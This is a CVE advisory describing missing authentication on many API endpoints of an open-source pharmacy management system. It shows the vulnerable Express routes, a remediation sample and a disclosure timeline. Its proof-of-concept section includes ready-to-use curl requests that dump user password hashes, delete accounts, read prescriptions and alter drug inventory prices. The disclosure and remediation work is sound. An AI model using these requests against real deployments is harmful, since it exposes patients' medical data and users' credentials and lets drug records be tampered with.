CVE-2026-31070

CVE-2026-31070.md

Missing Authentication on Critical API Endpoints

The Pharmacy Management System exposes multiple critical API endpoints without authentication middleware. An unauthenticated remote attacker can read business-critical data including all users (with password hashes), drug inventory, doctor prescriptions, and financial records. Limited write access allows unauthorized modification and deletion of users, inventory, and medical data.

Vulnerability Summary

• Type: CWE-306 (Missing Authentication for Critical Function)
• Affected Version: Commit 5c3d028c520628ece50f034900e0a98c07943d70 (latest master); package.json version 0.0.0; Angular CLI 8.3.6 (no versioned GitHub releases or tags)
• Affected Component: Multiple backend route files (user.js, inventory.js, doctorUser.js, doctorOders.js, sales.js, etc.)
• Attack Vector: Network (Remote)
• Authentication Required: None

Product Information

• Product: Pharmacy Management System
• Vendor: LalanaChami
• Repository: https://github.com/LalanaChami/Pharmacy-Mangment-System
• Stars: 611
• Forks: 266

Technical Analysis

Root Cause

Multiple critical API endpoints lack any authentication middleware, allowing unauthenticated attackers to perform sensitive operations including dumping all user data (with password hashes), creating/modifying/deleting users, and accessing medical prescription data.

Vulnerable Code

User Routes - backend/routes/user.js:

// NO AUTH MIDDLEWARE - Anyone can dump all users with password hashes
router.get("/getUserData",(req,res,next)=>{
  User.find().then(documents=>{
    res.status(200).json({
      message : 'supplier added sucessfully',
      users :documents  // Returns ALL users including bcrypt hashes
    });
  });
});

// NO AUTH MIDDLEWARE - Anyone can get any user by ID
router.get("/:id",(req,res,next)=>{
  User.findById(req.params.id).then(user =>{
    if(user){
      res.status(200).json(user);  // Full user object with password hash
    }
  });
});

// NO AUTH MIDDLEWARE - Anyone can update any user
router.put("/:id",(req,res,next)=>{
  // ... updates user without checking authentication
});

// NO AUTH MIDDLEWARE - Anyone can delete any user
router.delete("/:id",(req, res, next) => {
  User.deleteOne({ _id: req.params.id }).then(result => {
    res.status(200).json({ message: 'user deleted!' });
  });
});

Inventory Routes - backend/routes/inventory.js:

// NO AUTH MIDDLEWARE - Anyone can add inventory
router.post("",multer({storage: storage}).single("image"),(req,res,next)=>{
  const inventory = new Inventory({...});
  inventory.save();
});

// NO AUTH MIDDLEWARE - Anyone can modify drug inventory
router.put("/:id",multer({storage: storage}).single("image"), (req,res,next)=>{
  Inventory.updateOne({_id: req.params.id}, inventory);
});

// NO AUTH MIDDLEWARE - Anyone can delete inventory items
router.delete("/:id", (req, res, next) => {
  Inventory.deleteOne({ _id: req.params.id });
});

Doctor Orders - backend/routes/doctorOders.js:

// NO AUTH MIDDLEWARE - Anyone can view all doctor prescriptions
router.get("",(req,res,next)=>{
  DoctorOder.find().then(documents=>{
    res.status(200).json({
      doctorOders: documents  // All prescription data exposed
    });
  });
});

Affected Endpoints

Endpoint	Method	Impact
/api/user/getUserData	GET	Dump ALL users with password hashes
/api/user/:id	GET	Access any user's data
/api/user/:id	PUT	Modify any user account
/api/user/:id	DELETE	Delete any user account
/api/inventory	ALL	Full CRUD on drug inventory
/api/doctorOder	ALL	Access all prescriptions
/api/doctorUser/getDoctorUserData	GET	Dump all doctor accounts
/api/sales	ALL	Access/modify financial records
/api/verifiedDoctorOder	ALL	Access verified prescriptions
/api/pickedUpOders	ALL	Access pickup records

Attack Scenario

1. Attacker discovers the API running on port 3000
2. Attacker sends GET request to /api/user/getUserData
3. Server returns ALL user records including bcrypt password hashes
4. Attacker can now:
   • Crack password hashes offline
   • Delete all users via /api/user/:id
   • Access all medical prescription data
   • Modify drug inventory and prices

---

Proof of Concept

The PoC exploits missing authentication to dump sensitive data and perform unauthorized operations.

Steps to Reproduce

1. Clone and start the vulnerable application:

git clone https://github.com/LalanaChami/Pharmacy-Mangment-System
cd Pharmacy-Mangment-System/lab/
docker-compose up -d

2. Wait for services to be ready (~10 seconds). Backend API will be at: http://localhost:3000/api

3. Run the PoC:

python3 poc.py localhost:3000

4. Observe successful unauthenticated access to:
   • All user accounts with password hashes
   • Drug inventory data
   • Doctor prescriptions
   • Financial/sales records

---

Manual Reproduction

Dump all users with password hashes:

curl -s http://TARGET:3000/api/user/getUserData | jq

Delete a user without authentication:

curl -X DELETE http://TARGET:3000/api/user/USER_ID_HERE

Access all doctor prescriptions:

curl -s http://TARGET:3000/api/doctorOder | jq

Modify drug inventory:

curl -X PUT http://TARGET:3000/api/inventory/ITEM_ID \
  -H "Content-Type: application/json" \
  -d '{"name":"Morphine","quantity":"99999","price":"0.01"}'

---

Impact

• Confidentiality: Complete exposure of all user data including password hashes, medical prescriptions, and financial records
• Integrity: Unauthorized modification/deletion of users, inventory, and medical records
• Availability: Mass deletion of data possible
• Healthcare Data: Prescription/medical order exposure (HIPAA implications)
• No Prerequisites: No authentication required

---

CVSS Score

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 (Critical)

• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality: High
• Integrity: High
• Availability: High

Remediation

Add authentication middleware to all sensitive routes:

const checkAuth = require("../middleware/check-auth");

// Protected route example
router.get("/getUserData", checkAuth, (req, res, next) => {
  User.find().then(documents => {
    // Also: remove password field from response
    const sanitized = documents.map(u => ({
      _id: u._id,
      name: u.name,
      email: u.email,
      role: u.role
    }));
    res.status(200).json({ users: sanitized });
  });
});

router.delete("/:id", checkAuth, (req, res, next) => {
  // Also add authorization check - is user admin?
  User.deleteOne({ _id: req.params.id }).then(result => {
    res.status(200).json({ message: 'user deleted!' });
  });
});

Timeline

• Discovery Date: January 2026
• Vendor Contact: January 2026
• Vendor Response: No response
• Public Disclosure: 9 April 2026 (commit 5c3d028c520628ece50f034900e0a98c07943d70, package.json 0.0.0, Angular CLI 8.3.6)

References

• CWE-306: https://cwe.mitre.org/data/definitions/306.html